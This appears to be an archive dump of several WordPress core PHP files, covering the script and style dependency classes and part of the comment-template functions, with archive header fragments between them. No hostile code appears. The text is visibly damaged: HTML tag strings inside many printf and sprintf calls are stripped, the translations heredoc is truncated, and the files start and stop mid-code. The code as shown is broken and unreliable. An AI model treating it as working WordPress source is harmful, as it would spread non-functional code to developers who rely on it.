$this->registered[ $handle ]; } return false; case 'enqueued': case 'queue': if ( in_array( $handle, $this->queue, true ) ) { return true; } return $this->recurse_deps( $this->queue, $handle ); case 'to_do': case 'to_print': // Back compat. return in_array( $handle, $this->to_do, true ); case 'done': case 'printed': // Back compat. return in_array( $handle, $this->done, true ); } return false; } /** * Set item group, unless already in a lower group. * * @since 2.8.0 * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Group level: level (int), no groups (false). * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group ) { $group = (int) $group; if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) { return false; } $this->groups[ $handle ] = $group; return true; } } class.wp-scripts.php000064400000044772151202620300010501 0ustar00init(); add_action( 'init', array( $this, 'init' ), 0 ); } /** * Initialize the class. * * @since 3.4.0 */ public function init() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'script' ) ) { $this->type_attr = " type='text/javascript'"; } /** * Fires when the WP_Scripts instance is initialized. * * @since 2.6.0 * * @param WP_Scripts $this WP_Scripts instance (passed by reference). */ do_action_ref_array( 'wp_default_scripts', array( &$this ) ); } /** * Prints scripts. * * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies. * * @since 2.1.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false), * single script (string), or multiple scripts (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return string[] Handles of scripts that have been printed. */ public function print_scripts( $handles = false, $group = false ) { return $this->do_items( $handles, $group ); } /** * Prints extra scripts of a registered script. * * @since 2.1.0 * @since 2.8.0 Added the `$echo` parameter. * @deprecated 3.3.0 * * @see print_extra_script() * * @param string $handle The script's registered handle. * @param bool $echo Optional. Whether to echo the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$echo` is true, * true otherwise. */ public function print_scripts_l10n( $handle, $echo = true ) { _deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' ); return $this->print_extra_script( $handle, $echo ); } /** * Prints extra scripts of a registered script. * * @since 3.3.0 * * @param string $handle The script's registered handle. * @param bool $echo Optional. Whether to echo the extra script * instead of just returning it. Default true. * @return bool|string|void Void if no data exists, extra scripts if `$echo` is true, * true otherwise. */ public function print_extra_script( $handle, $echo = true ) { $output = $this->get_data( $handle, 'data' ); if ( ! $output ) { return; } if ( ! $echo ) { return $output; } printf( "\n", $this->type_attr, esc_attr( $handle ) ); // CDATA is not needed for HTML 5. if ( $this->type_attr ) { echo "/* type_attr ) { echo "/* ]]> */\n"; } echo "\n"; return true; } /** * Processes a script dependency. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The script's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } if ( 0 === $group && $this->groups[ $handle ] > 0 ) { $this->in_footer[] = $handle; return false; } if ( false === $group && in_array( $handle, $this->in_footer, true ) ) { $this->in_footer = array_diff( $this->in_footer, (array) $handle ); } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $cond_before = ''; $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "\n"; } $before_handle = $this->print_inline_script( $handle, 'before', false ); $after_handle = $this->print_inline_script( $handle, 'after', false ); if ( $before_handle ) { $before_handle = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $before_handle ); } if ( $after_handle ) { $after_handle = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $after_handle ); } if ( $before_handle || $after_handle ) { $inline_script_tag = $cond_before . $before_handle . $after_handle . $cond_after; } else { $inline_script_tag = ''; } $translations = $this->print_translations( $handle, false ); if ( $translations ) { $translations = sprintf( "\n%s\n\n", $this->type_attr, esc_attr( $handle ), $translations ); } if ( $this->do_concat ) { /** * Filters the script loader source. * * @since 2.2.0 * * @param string $src Script loader source path. * @param string $handle Script handle. */ $srce = apply_filters( 'script_loader_src', $src, $handle ); if ( $this->in_default_dir( $srce ) && ( $before_handle || $after_handle || $translations ) ) { $this->do_concat = false; // Have to print the so-far concatenated scripts right away to maintain the right order. _print_scripts(); $this->reset(); } elseif ( $this->in_default_dir( $srce ) && ! $conditional ) { $this->print_code .= $this->print_extra_script( $handle, false ); $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; return true; } else { $this->ext_handles .= "$handle,"; $this->ext_version .= "$handle$ver"; } } $has_conditional_data = $conditional && $this->get_data( $handle, 'data' ); if ( $has_conditional_data ) { echo $cond_before; } $this->print_extra_script( $handle ); if ( $has_conditional_data ) { echo $cond_after; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_script_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_script_tag; } else { echo $inline_script_tag; } } return true; } if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class.wp-scripts.php */ $src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) ); if ( ! $src ) { return true; } $tag = $translations . $cond_before . $before_handle; $tag .= sprintf( "\n", $this->type_attr, $src, esc_attr( $handle ) ); $tag .= $after_handle . $cond_after; /** * Filters the HTML script tag of an enqueued script. * * @since 4.1.0 * * @param string $tag The `\n", $this->type_attr, esc_attr( $handle ), esc_attr( $position ), $output ); } return $output; } /** * Localizes a script, only if the script has already been added. * * @since 2.1.0 * * @param string $handle Name of the script to attach data to. * @param string $object_name Name of the variable that will contain the data. * @param array $l10n Array of data to localize. * @return bool True on success, false on failure. */ public function localize( $handle, $object_name, $l10n ) { if ( 'jquery' === $handle ) { $handle = 'jquery-core'; } if ( is_array( $l10n ) && isset( $l10n['l10n_print_after'] ) ) { // back compat, preserve the code in 'l10n_print_after' if present. $after = $l10n['l10n_print_after']; unset( $l10n['l10n_print_after'] ); } if ( ! is_array( $l10n ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: $l10n, 2: wp_add_inline_script() */ __( 'The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead.' ), '$l10n', 'wp_add_inline_script()' ), '5.7.0' ); } if ( is_string( $l10n ) ) { $l10n = html_entity_decode( $l10n, ENT_QUOTES, 'UTF-8' ); } else { foreach ( (array) $l10n as $key => $value ) { if ( ! is_scalar( $value ) ) { continue; } $l10n[ $key ] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8' ); } } $script = "var $object_name = " . wp_json_encode( $l10n ) . ';'; if ( ! empty( $after ) ) { $script .= "\n$after;"; } $data = $this->get_data( $handle, 'data' ); if ( ! empty( $data ) ) { $script = "$data\n$script"; } return $this->add_data( $handle, 'data', $script ); } /** * Sets handle group. * * @since 2.8.0 * * @see WP_Dependencies::set_group() * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group = false ) { if ( isset( $this->registered[ $handle ]->args ) && 1 === $this->registered[ $handle ]->args ) { $grp = 1; } else { $grp = (int) $this->get_data( $handle, 'group' ); } if ( false !== $group && $grp > $group ) { $grp = $group; } return parent::set_group( $handle, $recursion, $grp ); } /** * Sets a translation textdomain. * * @since 5.0.0 * @since 5.1.0 The `$domain` parameter was made optional. * * @param string $handle Name of the script to register a translation domain to. * @param string $domain Optional. Text domain. Default 'default'. * @param string $path Optional. The full file path to the directory containing translation files. * @return bool True if the text domain was registered, false if not. */ public function set_translations( $handle, $domain = 'default', $path = null ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } /** @var \_WP_Dependency $obj */ $obj = $this->registered[ $handle ]; if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) { $obj->deps[] = 'wp-i18n'; } return $obj->set_translations( $domain, $path ); } /** * Prints translations set for a specific handle. * * @since 5.0.0 * * @param string $handle Name of the script to add the inline script to. * Must be lowercase. * @param bool $echo Optional. Whether to echo the script * instead of just returning it. Default true. * @return string|false Script on success, false otherwise. */ public function print_translations( $handle, $echo = true ) { if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) { return false; } $domain = $this->registered[ $handle ]->textdomain; $path = $this->registered[ $handle ]->translations_path; $json_translations = load_script_textdomain( $handle, $domain, $path ); if ( ! $json_translations ) { // Register empty locale data object to ensure the domain still exists. $json_translations = '{ "locale_data": { "messages": { "": {} } } }'; } $output = <<\n%s\n\n", $this->type_attr, esc_attr( $handle ), $output ); } return $output; } /** * Determines script dependencies. * * @since 2.1.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the list of script dependencies left to print. * * @since 2.3.0 * * @param string[] $to_do An array of script dependency handles. */ $this->to_do = apply_filters( 'print_scripts_array', $this->to_do ); } return $r; } /** * Processes items and dependencies for the head group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_head_items() { $this->do_items( false, 0 ); return $this->done; } /** * Processes items and dependencies for the footer group. * * @since 2.8.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued script. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } if ( 0 === strpos( $src, '/' . WPINC . '/js/l10n' ) ) { return false; } foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos( $src, $test ) ) { return true; } } return false; } /** * Resets class properties. * * @since 2.8.0 */ public function reset() { $this->do_concat = false; $this->print_code = ''; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; $this->ext_version = ''; $this->ext_handles = ''; } } class.wp-styles.php000064400000025174151202620300010330 0ustar00type_attr = " type='text/css'"; } /** * Fires when the WP_Styles instance is initialized. * * @since 2.6.0 * * @param WP_Styles $this WP_Styles instance (passed by reference). */ do_action_ref_array( 'wp_default_styles', array( &$this ) ); } /** * Processes a style dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The style's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $cond_before = ''; $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "\n"; } $inline_style = $this->print_inline_style( $handle, false ); if ( $inline_style ) { $inline_style_tag = sprintf( "\n", esc_attr( $handle ), $this->type_attr, $inline_style ); } else { $inline_style_tag = ''; } if ( $this->do_concat ) { if ( $this->in_default_dir( $src ) && ! $conditional && ! isset( $obj->extra['alt'] ) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $inline_style; return true; } } if ( isset( $obj->args ) ) { $media = esc_attr( $obj->args ); } else { $media = 'all'; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_style_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_style_tag; } else { echo $inline_style_tag; } } return true; } $href = $this->_css_href( $src, $ver, $handle ); if ( ! $href ) { return true; } $rel = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = isset( $obj->extra['title'] ) ? sprintf( "title='%s'", esc_attr( $obj->extra['title'] ) ) : ''; $tag = sprintf( "\n", $rel, $handle, $title, $href, $this->type_attr, $media ); /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $html The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media ); if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) ); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } $rtl_tag = sprintf( "\n", $rel, $handle, $title, $rtl_href, $this->type_attr, $media ); /** This filter is documented in wp-includes/class.wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media ); if ( 'replace' === $obj->extra['rtl'] ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } if ( $this->do_concat ) { $this->print_html .= $cond_before; $this->print_html .= $tag; if ( $inline_style_tag ) { $this->print_html .= $inline_style_tag; } $this->print_html .= $cond_after; } else { echo $cond_before; echo $tag; $this->print_inline_style( $handle ); echo $cond_after; } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param bool $echo Optional. Whether to echo the inline style * instead of just returning it. Default true. * @return string|bool False if no data exists, inline styles if `$echo` is true, * true otherwise. */ public function print_inline_style( $handle, $echo = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) ) { return false; } $output = implode( "\n", $output ); if ( ! $echo ) { return $output; } printf( "\n", esc_attr( $handle ), $this->type_attr, $output ); return true; } /** * Determines style dependencies. * * @since 2.6.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param string[] $to_do The list of enqueued style handles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $r; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source of the enqueued style. * @param string $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos( $src, $test ) ) { return true; } } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Resets class properties. * * @since 3.3.0 */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } } comment-template.php000064400000271065151202620300010532 0ustar00comment_author ) ) { $user = $comment->user_id ? get_userdata( $comment->user_id ) : false; if ( $user ) { $author = $user->display_name; } else { $author = __( 'Anonymous' ); } } else { $author = $comment->comment_author; } /** * Filters the returned comment author name. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $author The comment author's username. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author', $author, $comment->comment_ID, $comment ); } /** * Displays the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author. * Default current comment. */ function comment_author( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author = get_comment_author( $comment ); /** * Filters the comment author's name for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author The comment author's username. * @param int $comment_ID The comment ID. */ echo apply_filters( 'comment_author', $author, $comment->comment_ID ); } /** * Retrieves the email of the author of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's email. * Default current comment. * @return string The current comment author's email */ function get_comment_author_email( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); /** * Filters the comment author's returned email address. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_author_email The comment author's email address. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author_email', $comment->comment_author_email, $comment->comment_ID, $comment ); } /** * Displays the email of the author of the current global $comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's email. * Default current comment. */ function comment_author_email( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author_email = get_comment_author_email( $comment ); /** * Filters the comment author's email for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author_email The comment author's email address. * @param int $comment_ID The comment ID. */ echo apply_filters( 'author_email', $author_email, $comment->comment_ID ); } /** * Displays the HTML email link to the author of the current comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 0.71 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's email address. * Default empty. * @param string $before Optional. Text or HTML to display before the email link. Default empty. * @param string $after Optional. Text or HTML to display after the email link. Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. Default is the current comment. */ function comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) { $link = get_comment_author_email_link( $linktext, $before, $after, $comment ); if ( $link ) { echo $link; } } /** * Returns the HTML email link to the author of the current comment. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. Most assume that * their email address will not appear in raw form on the site. Doing so will * enable anyone, including those that people don't want to get the email * address and use it for their own means good and bad. * * @since 2.7.0 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's email address. * Default empty. * @param string $before Optional. Text or HTML to display before the email link. Default empty. * @param string $after Optional. Text or HTML to display after the email link. Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. Default is the current comment. * @return string HTML markup for the comment author email link. By default, the email address is obfuscated * via the {@see 'comment_email'} filter with antispambot(). */ function get_comment_author_email_link( $linktext = '', $before = '', $after = '', $comment = null ) { $comment = get_comment( $comment ); /** * Filters the comment author's email for display. * * Care should be taken to protect the email address and assure that email * harvesters do not capture your commenter's email address. * * @since 1.2.0 * @since 4.1.0 The `$comment` parameter was added. * * @param string $comment_author_email The comment author's email address. * @param WP_Comment $comment The comment object. */ $email = apply_filters( 'comment_email', $comment->comment_author_email, $comment ); if ( ( ! empty( $email ) ) && ( '@' !== $email ) ) { $display = ( '' !== $linktext ) ? $linktext : $email; $return = $before; $return .= sprintf( '%2$s', esc_url( 'mailto:' . $email ), esc_html( $display ) ); $return .= $after; return $return; } else { return ''; } } /** * Retrieves the HTML link to the URL of the author of the current comment. * * Both get_comment_author_url() and get_comment_author() rely on get_comment(), * which falls back to the global comment variable if the $comment_ID argument is empty. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's link. * Default current comment. * @return string The comment author name or HTML link for author's URL. */ function get_comment_author_link( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $url = get_comment_author_url( $comment ); $author = get_comment_author( $comment ); if ( empty( $url ) || 'http://' === $url ) { $return = $author; } else { $return = "$author"; } /** * Filters the comment author's link for display. * * @since 1.5.0 * @since 4.1.0 The `$author` and `$comment_ID` parameters were added. * * @param string $return The HTML-formatted comment author link. * Empty for an invalid URL. * @param string $author The comment author's username. * @param int $comment_ID The comment ID. */ return apply_filters( 'get_comment_author_link', $return, $author, $comment->comment_ID ); } /** * Displays the HTML link to the URL of the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's link. * Default current comment. */ function comment_author_link( $comment_ID = 0 ) { echo get_comment_author_link( $comment_ID ); } /** * Retrieve the IP address of the author of the current comment. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's IP address. * Default current comment. * @return string Comment author's IP address. */ function get_comment_author_IP( $comment_ID = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid $comment = get_comment( $comment_ID ); /** * Filters the comment author's returned IP address. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $comment_author_IP The comment author's IP address. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author_IP', $comment->comment_author_IP, $comment->comment_ID, $comment ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase } /** * Displays the IP address of the author of the current comment. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's IP address. * Default current comment. */ function comment_author_IP( $comment_ID = 0 ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid echo esc_html( get_comment_author_IP( $comment_ID ) ); } /** * Retrieves the URL of the author of the current comment, not linked. * * @since 1.5.0 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to get the author's URL. * Default current comment. * @return string Comment author URL, if provided, an empty string otherwise. */ function get_comment_author_url( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $url = ''; $id = 0; if ( ! empty( $comment ) ) { $author_url = ( 'http://' === $comment->comment_author_url ) ? '' : $comment->comment_author_url; $url = esc_url( $author_url, array( 'http', 'https' ) ); $id = $comment->comment_ID; } /** * Filters the comment author's URL. * * @since 1.5.0 * @since 4.1.0 The `$comment_ID` and `$comment` parameters were added. * * @param string $url The comment author's URL. * @param int $comment_ID The comment ID. * @param WP_Comment $comment The comment object. */ return apply_filters( 'get_comment_author_url', $url, $id, $comment ); } /** * Displays the URL of the author of the current comment, not linked. * * @since 0.71 * @since 4.4.0 Added the ability for `$comment_ID` to also accept a WP_Comment object. * * @param int|WP_Comment $comment_ID Optional. WP_Comment or the ID of the comment for which to print the author's URL. * Default current comment. */ function comment_author_url( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); $author_url = get_comment_author_url( $comment ); /** * Filters the comment author's URL for display. * * @since 1.2.0 * @since 4.1.0 The `$comment_ID` parameter was added. * * @param string $author_url The comment author's URL. * @param int $comment_ID The comment ID. */ echo apply_filters( 'comment_url', $author_url, $comment->comment_ID ); } /** * Retrieves the HTML link of the URL of the author of the current comment. * * $linktext parameter is only used if the URL does not exist for the comment * author. If the URL does exist then the URL will be used and the $linktext * will be ignored. * * Encapsulate the HTML link between the $before and $after. So it will appear * in the order of $before, link, and finally $after. * * @since 1.5.0 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. The text to display instead of the comment * author's email address. Default empty. * @param string $before Optional. The text or HTML to display before the email link. * Default empty. * @param string $after Optional. The text or HTML to display after the email link. * Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. * Default is the current comment. * @return string The HTML link between the $before and $after parameters. */ function get_comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) { $url = get_comment_author_url( $comment ); $display = ( '' !== $linktext ) ? $linktext : $url; $display = str_replace( 'http://www.', '', $display ); $display = str_replace( 'http://', '', $display ); if ( '/' === substr( $display, -1 ) ) { $display = substr( $display, 0, -1 ); } $return = "$before$display$after"; /** * Filters the comment author's returned URL link. * * @since 1.5.0 * * @param string $return The HTML-formatted comment author URL link. */ return apply_filters( 'get_comment_author_url_link', $return ); } /** * Displays the HTML link of the URL of the author of the current comment. * * @since 0.71 * @since 4.6.0 Added the `$comment` parameter. * * @param string $linktext Optional. Text to display instead of the comment author's * email address. Default empty. * @param string $before Optional. Text or HTML to display before the email link. * Default empty. * @param string $after Optional. Text or HTML to display after the email link. * Default empty. * @param int|WP_Comment $comment Optional. Comment ID or WP_Comment object. * Default is the current comment. */ function comment_author_url_link( $linktext = '', $before = '', $after = '', $comment = 0 ) { echo get_comment_author_url_link( $linktext, $before, $after, $comment ); } /** * Generates semantic classes for each comment element. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment` to also accept a WP_Comment object. * * @param string|string[] $class Optional. One or more classes to add to the class list. * Default empty. * @param int|WP_Comment $comment Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @param bool $echo Optional. Whether to echo or return the output. * Default true. * @return void|string Void if `$echo` argument is true, comment classes if `$echo` is false. */ function comment_class( $class = '', $comment = null, $post_id = null, $echo = true ) { // Separates classes with a single space, collates classes for comment DIV. $class = 'class="' . implode( ' ', get_comment_class( $class, $comment, $post_id ) ) . '"'; if ( $echo ) { echo $class; } else { return $class; } } /** * Returns the classes for the comment div as an array. * * @since 2.7.0 * @since 4.4.0 Added the ability for `$comment_id` to also accept a WP_Comment object. * * @global int $comment_alt * @global int $comment_depth * @global int $comment_thread_alt * * @param string|string[] $class Optional. One or more classes to add to the class list. Default empty. * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. Default current comment. * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post. * @return string[] An array of classes. */ function get_comment_class( $class = '', $comment_id = null, $post_id = null ) { global $comment_alt, $comment_depth, $comment_thread_alt; $classes = array(); $comment = get_comment( $comment_id ); if ( ! $comment ) { return $classes; } // Get the comment type (comment, trackback). $classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type; // Add classes for comment authors that are registered users. $user = $comment->user_id ? get_userdata( $comment->user_id ) : false; if ( $user ) { $classes[] = 'byuser'; $classes[] = 'comment-author-' . sanitize_html_class( $user->user_nicename, $comment->user_id ); // For comment authors who are the author of the post. $post = get_post( $post_id ); if ( $post ) { if ( $comment->user_id === $post->post_author ) { $classes[] = 'bypostauthor'; } } } if ( empty( $comment_alt ) ) { $comment_alt = 0; } if ( empty( $comment_depth ) ) { $comment_depth = 1; } if ( empty( $comment_thread_alt ) ) { $comment_thread_alt = 0; } if ( $comment_alt % 2 ) { $classes[] = 'odd'; $classes[] = 'alt'; } else { $classes[] = 'even'; } $comment_alt++; // Alt for top-level comments. if ( 1 == $comment_depth ) { if ( $comment_thread_alt % 2 ) { $classes[] = 'thread-odd'; $classes[] = 'thread-alt'; } else { $classes[] = 'thread-even'; } $comment_thread_alt++; } $classes[] = "depth-$comment_depth"; if ( ! empty( $class ) ) { if ( ! is_array( $class ) ) { $class = preg_split( '#\s+#', $class ); } $classes = array_merge( $classes, $class ); } $classes = array_map( 'esc_attr', $classes ); /** * Filters the returned CSS 